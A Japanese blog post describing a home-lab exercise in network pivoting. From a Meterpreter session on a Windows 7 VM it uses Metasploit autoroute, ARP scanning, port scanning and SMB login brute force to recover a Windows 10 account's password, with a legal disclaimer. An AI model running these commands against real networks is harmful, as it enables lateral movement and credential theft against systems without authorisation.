はじめに
いままで、ターゲットを仮想ネットワークのなかに立ち上げて、直接接続することで攻撃してきました。しかし、実際はそういった攻撃方法が適用できることは稀です。
相違点として、挙げられるのは
- DMZやファイアウォールの有無
- Metasploitable2やbee-boxのように脆弱性だらけではない
- インターネットにターゲットが直接つながっているケースは稀
- ターゲットは未知である。手探りで調査しないといけないし、攻略できるとは限らない
- 痕跡消去やバックドアの必要性
- 攻撃者を匿名化の有無
少しでも、実際のハッキング、ネットワーク構成に近づけるため、Virtualboxに2つのホストオンリーネットワークを作成し、その2つのネットワークをまたいだハッキングを検証してみます。
それについて、「ハッキング・ラボのつくりかた」p.738には、
2つのネットワークの複雑性について考慮しなければならないためです。
1.ターゲット側のネットワーク:一般にネットワークが多層化されていることを考慮しなければならない。掌握した端末を踏み台にして、さらなる内部ネットワークを狙う。
2.攻撃者側のネットワーク:攻撃の種類によっては、ルーターの存在を考慮しなければならない。
とあります。
1については、最初は、攻撃側から見て近いネットワークのホストを攻略する。そのホストを掌握したあとは、そのホストを踏み台にして、ネットワークを探索して次のターゲットを探すことを目ざします。
2については、自身のネットワークのルータが、リバースシェルの最初のインバウンド通信を阻害する可能性を考慮する。
前後編にわけて、「ハッキング・ラボのつくりかた」p.737-752を参考に、kaliLinux2022.1での検証を行う。前編は、 1の多層化されているターゲットのネットワークにおいて、踏み台を使って内部ネットワークのホストをハッキングする。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
ネットワーク構成
2種類のホストオンリーネットワークをまたいで、ハッキング(ターゲットのパスワード解析)を行う。目的は、ターゲットのWindows10のパスワード解析である。
- Kali
- ホストオンリーネットワークA
- ネットワークアダプタ:ホストオンリーアダプタ
- ネットワーク名:vboxnet1
- IPアドレス:192.168.56.2(静的)
- NAT
- IPアドレス:10.0.3.15
Kaliは、ホストオンリーネットワークAとNATに所属
- Windows7
- ホストオンリーネットワークA
- ネットワークアダプタ:ホストオンリーアダプタ
- ネットワーク名:vboxnet1
- IPアドレス:192.168.56.108(動的)
- ホストオンリーネットワークB
- ネットワークアダプタ:ホストオンリーアダプタ
- ネットワーク名:vboxnet2
- IPアドレス:192.168.57.3(動的)
Windows7は、両方のホストオンリーネットワークに所属
- Windows10
- ホストオンリーネットワークB
- ネットワークアダプタ:ホストオンリーアダプタ
- ネットワーク名:vboxnet2
- IPアドレス:192.168.57.4(動的)
Windows10は、ホストオンリーネットワークBにのみ所属
つまり、KaliLinuxからWindows10に直接、またその逆方向のアクセスは不可能である。(ping 192.168.57.4
あるいはping 192.168.56.2
は疎通不可)
ただし、両方のネットワークに属するWindows7を経由することで、アクセスすることは可能である。
なお、Windows7、Windows10のネットワークは、プライベート接続に設定し、ファイアウォールは両方共停止した。
Windows7のLANアダプタ情報
前もって、Windowsにexploitであるevil.exeの実行、あるいはそのバックドアを仕掛けて、KaliLinuxのmetepreterセッションを確立させておく。 1
セッションの確立状況
meterpreterプロンプトで、ipconfig
を実行して、Windows7のIPアドレス情報を確認する。
セッションのルーティングを管理
"post/multi/manage/autoroute"のモジュールを用いる。
use post/mu;ti/manage/autoroute
set session 1
exploit
CMDには、デフォルトでautoaddが設定されている。autoaddは、ルーティングテーブルとインターフェースの一覧から有効なサブネットを検索して、自動的にルートを追加する。これにより、各モジュールのRHOSTSに192.168.57.x(ホストオンリネットワークBのIPアドレス)を設定できる。
IPアドレス検索
"post/windows/gather/arp_scanner"のモジュールを用いる。192.168.57.x(ホストオンリネットワークBのIPアドレス)を持つホストを探す。
use post/windows/gather/arp_scanner
set rhosts 192.168.57.1-254
set session 1
set threads 20
exploit
ポートスキャン
"auxiliary/scanner/portscan/tcp"のモジュールを用いる。
use auxiliary/scanner/portscan/tcp
set ports 445,3389
set rhosts 192.168.57.4
set threads 10
exploit
445番ポート(SMB over TCP)が開いている。このポートに向けて攻撃を仕掛けることで、ユーザーのユーザー名、パスワードを解析してみる。辞書ファイル(ここでは、"user.lst","pass.lst"とする。名前は任意)を事前に用意しておく。その辞書ファイルには、Windows10で設定したユーザー名とパスワードを書き込んでおく。
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.57.4
set user_file /home/kali/user.lst
set pass_file /home/kali/pass.lst
set stop_on_success true
exploit
"Success"と表示された。
ユーザー名はtarget,パスワードはaaa222であることが判明した。
おわりに
後編では、VirtualBox内にルータやVPS(実質、sshサーバ機能のみ)を立ち上げることで、仮想上のイントラネットを構築した上での、ルータを意識したハッキングをして見たいと思います。
複雑そうなので、もしかしたらやらない可能性あり。
時間的、PCのリソース的にも余裕がないので、やりません。
-
...Windows7でのMeterpreterセッションの確立に関しては、こちらの記事をご覧ください。
https://qiita.com/kagirohi/items/e36a1080d6eeef2e2503 ↩